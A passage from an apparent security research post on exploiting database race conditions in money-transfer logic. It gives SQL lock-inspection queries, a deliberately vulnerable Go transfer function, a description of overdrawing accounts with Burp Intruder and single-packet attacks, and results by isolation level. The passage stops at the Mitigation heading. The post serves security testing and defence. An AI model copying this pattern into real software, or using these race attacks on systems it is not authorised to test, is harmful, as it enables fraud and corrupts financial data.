&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;locktype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;relation&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;regclass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;mode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;transactionid&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;AS&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;virtualtransaction&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;AS&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;vtid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;granted&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;waitstart&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pg_catalog&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pg_locks&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;l&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;LEFT&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;JOIN&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pg_catalog&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pg_database&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;db&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;ON&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;oid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;l&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;database&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;datname&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&amp;lt;db_name&amp;gt;'&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;OR&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;datname&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;IS&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;AND&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pg_backend_pid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;ORDER&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;BY&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A similar query can be used for MySQL:&lt;/p&gt;
&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;thread_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lock_data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lock_type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lock_mode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lock_status&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;performance_schema&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data_locks&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&amp;lt;db_name&amp;gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For other database vendors refer to the appropriate documentation.&lt;/p&gt;

&lt;h3 id=&quot;root-cause&quot;&gt;Root Cause&lt;/h3&gt;

&lt;p&gt;The isolation level used in our example (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Read Committed&lt;/code&gt;) will not place any locks when data is being read from the database. This means that only the write operations will be placing locks on the modified entries. If we visualize this, our issue becomes clear:&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;/public/images/db-race-critical-section.svg&quot; alt=&quot;Transaction's Critical Section&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 600px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;The lack of locking on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SELECT&lt;/code&gt; operation allows for concurrent access to a shared resource. This introduces a TOCTOU (time-of-check, time-of-use) issue, leading to an exploitable race condition. Even though the issue is not visible in the application code itself, it becomes obvious in the database logs.&lt;/p&gt;

&lt;h3 id=&quot;applying-theory-in-practice&quot;&gt;Applying Theory in Practice&lt;/h3&gt;

&lt;p&gt;Different code patterns can allow for different exploit scenarios. For our particular example, the main difference will be how the new application state is calculated, or more specifically, which values are used in the calculation.&lt;/p&gt;

&lt;h4 id=&quot;pattern-1---calculations-using-current-database-state&quot;&gt;Pattern #1 - Calculations Using Current Database State&lt;/h4&gt;

&lt;p&gt;In the original example, we can see that the new balance calculations will happen on the database server. This is due to how the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UPDATE&lt;/code&gt; operation is structured. It containins a simple addition/subtraction operation, which will be calculated by the database using the current value of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;balance&lt;/code&gt; column at time of execution. Putting it all together, we end up with an execution flow shown on the graph below.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;/public/images/db-race-pattern-1.svg&quot; alt=&quot;Vulnerable Pattern #1&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 600px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Using the database’s default isolation level, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SELECT&lt;/code&gt; operation will be executed before any locks are created and the same entry will be returned to the application code. The transaction which gets its first &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UPDATE&lt;/code&gt; to execute, will enter the critical section and will be allowed to execute its remaining operations and commit. During that time, all other transactions will hang and wait for the lock to be released. By committing its changes, the first transaction will change the state of the database, effectively breaking the assumption under which the waiting transaction was initiated on. When the second transaction executes its &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UPDATE&lt;/code&gt;s, the calculations will be performed on the updated values, leaving the application in an incorrect state.&lt;/p&gt;

&lt;h4 id=&quot;pattern-2---calculations-using-stale-values&quot;&gt;Pattern #2 - Calculations Using Stale Values&lt;/h4&gt;

&lt;p&gt;Working with stale values happens when the application code reads the current state of the database entry, performs the required calculations at the application layer and uses the newly calculated value in an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UPDATE&lt;/code&gt; operation. We can perform a simple refactoring to our initial example and move the “new value” calculation to the application layer.&lt;/p&gt;

&lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;db&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Db&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Transfer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;source&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;destination&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;amount&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;error&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Background&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pgx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Connect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;databaseUrl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;defer&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;tx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BeginTx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;userSrc&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;User&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;QueryRow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;SELECT id, name, balance FROM users WHERE id = $1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Scan&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;userSrc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;userSrc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;userSrc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Balance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;userDest&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;User&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;QueryRow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;SELECT id, name, balance FROM users WHERE id = $1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;destination&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;Scan&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;userDest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;userDest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;userDest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Balance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;amount&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;amount&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;userSrc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Balance&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;tx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Rollback&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fmt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Errorf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;invalid transfer&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;c&quot;&gt;// note: balance calculations moved to the application layer&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;newSrcBalance&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;userSrc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Balance&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;amount&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;newDestBalance&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;userDest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Balance&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;amount&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Exec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;UPDATE users SET balance = $2 WHERE id = $1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;newSrcBalance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Exec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;UPDATE users SET balance = $2 WHERE id = $1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;destination&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;newDestBalance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Commit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If two or more concurrent requests call the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;db.Transfer&lt;/code&gt; function at the same time, there is a high probability that the initial &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SELECT&lt;/code&gt; will be executed before any locks are created. All function calls will read the same value from the database. The amount verification will pass successfully and the new balances will be calculated. Let’s see how does this scenario affect out database state if we run the previous test case:&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;/public/images/db-race-pattern-2.svg&quot; alt=&quot;Vulnerable Pattern #2&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 600px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;At first glance, the database state doesn’t show any inconsistencies. That is because both transactions preformed their amount calculation based on the same state and both executed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UPDATE&lt;/code&gt; operations with the same amounts. Even though the database state was not corrupted, it’s worth bearing in mind that we were able to execute the transaction more times that what the business logic should allow. For example, an application built using a microservice architecture might implement business logic such as:&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;/public/images/db-race-microservice.svg&quot; alt=&quot;Vulnerable Pattern #2 - Microservice Application&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 600px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;If &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Service T&lt;/code&gt; assumes that all incoming requests from the main application are valid, and does not perform any additional validation itself, it will happily process any incoming requests. The race condition described before allows us to exploit such behavior and call the downstream &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Service T&lt;/code&gt; multiple times, effectively performing more transfers that the business requirements would allow.&lt;/p&gt;

&lt;p&gt;This pattern can also be (ab)used to corrupt the database state. Namely, we can perform multiple transfers from the source account to different destination accounts.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;/public/images/db-race-pattern-2-1.svg&quot; alt=&quot;Vulnerable Pattern #2.1&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 600px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;With this exploit, both concurrent transactions will initially see a source balance of 100, which will pass the amount verification.&lt;/p&gt;

&lt;h2 id=&quot;exploitation-in-the-real-world&quot;&gt;Exploitation in the Real World&lt;/h2&gt;

&lt;p&gt;If you run the sample application locally, with a database running on the same machine, you will likely see that most, if not all, of the requests made to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/transfer&lt;/code&gt; endpoint will be accepted by the application server. The low latency between client, application server and database server allow all requests to hit the race window and successfully commit. However, real-world application deployments are much more complex, running in cloud environments, deployed using Kubernetes clusters, placed behind reverse proxies and protected by firewalls.&lt;/p&gt;

&lt;p&gt;We were curious to see how difficult is to hit the race window in a real-world context. To test that we set up a simple application, deployed in an AWS Fargate container, alongside another container running the selected database.&lt;/p&gt;

&lt;p&gt;Testing was focused on three databases: &lt;a href=&quot;https://www.postgresql.org/&quot;&gt;Postgres&lt;/a&gt;, &lt;a href=&quot;https://www.mysql.com/&quot;&gt;MySQL&lt;/a&gt; and &lt;a href=&quot;https://mariadb.org/&quot;&gt;MariaDB&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The application logic was implemented using two programming languages: &lt;a href=&quot;https://go.dev/&quot;&gt;Go&lt;/a&gt; and &lt;a href=&quot;https://nodejs.org/en&quot;&gt;Node&lt;/a&gt;. These languages were chosen to allow us to see how their different concurrency models (Go’s goroutines vs. Node’s event loop) impact exploitability.&lt;/p&gt;

&lt;p&gt;Finally, we specified three techniques of attacking the application:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;1. simple multi-threaded loop&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;2. last-byte sync for HTTP/1.1&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;3. &lt;a href=&quot;https://portswigger.net/research/the-single-packet-attack-making-remote-race-conditions-local&quot;&gt;single packet attacks&lt;/a&gt; for HTTP/2.0&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;All of these were performed using &lt;a href=&quot;https://portswigger.net/burp&quot;&gt;BurpSuite’s&lt;/a&gt; extensions: “Intruder” for (1) and “Turbo Intruder” for (2) and (3).&lt;/p&gt;

&lt;p&gt;Using this setup, we attacked the application by performing 20 requests using 10 threads/connections, transferring an amount of 50 from Bob (account ID &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2&lt;/code&gt; with a starting balance of 200) to Alice. Once the attack was done, we noted the number of accepted requests. Given a non-vulnerable application, there shouldn’t be more than 4 accepted requests.&lt;/p&gt;

&lt;p&gt;This was performed 10 times, for each combination of application/database/attack method. The number of successfully processed requests was noted. From those numbers we conclude if a specific isolation level is exploitable or not. Those results can be found &lt;a href=&quot;#appendix---testing-results&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;results-and-observations&quot;&gt;Results and Observations&lt;/h2&gt;

&lt;p&gt;Our testing showed that if this pattern is present in an application, it is very likely that it can be exploited. In all cases, except for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Serializable&lt;/code&gt; level, we were able to exceed the expected number of accepted requests, overdrawing the account. The number of accepted requests varies between different technologies, but the fact that we were able to exceed it (and in some cases, to a significant degree) is sufficient to demonstrate the exploitability of the issue.&lt;/p&gt;

&lt;p&gt;If an attacker is able to get a large number of request to the server in the same instant, effectively creating conditions of a local access, the number of accepted requests jumps up by a significant amount. So, to maximize the possibility of hitting the race window, testers should prefer methods such as last-byte sync or the single packet attack.&lt;/p&gt;

&lt;p&gt;One outlier is Postgres’ &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Repeatable Read&lt;/code&gt; level. The reason it’s not vulnerable is that it implements an isolation level called &lt;a href=&quot;https://en.wikipedia.org/wiki/Snapshot_isolation&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Snapshot Isolation&lt;/code&gt;&lt;/a&gt;. The guarantees provided by this isolation level sit between &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Repeatable Read&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Serializable&lt;/code&gt;, ultimately providing sufficient protection and mitigating the race conditions for our example.&lt;/p&gt;

&lt;p&gt;The languages concurrency modes did not have any notable impact on the exploitability of the race condition.&lt;/p&gt;

&lt;h2 id=&quot;mitigation&quot;&gt;Mitigation&lt;/h2&gt;

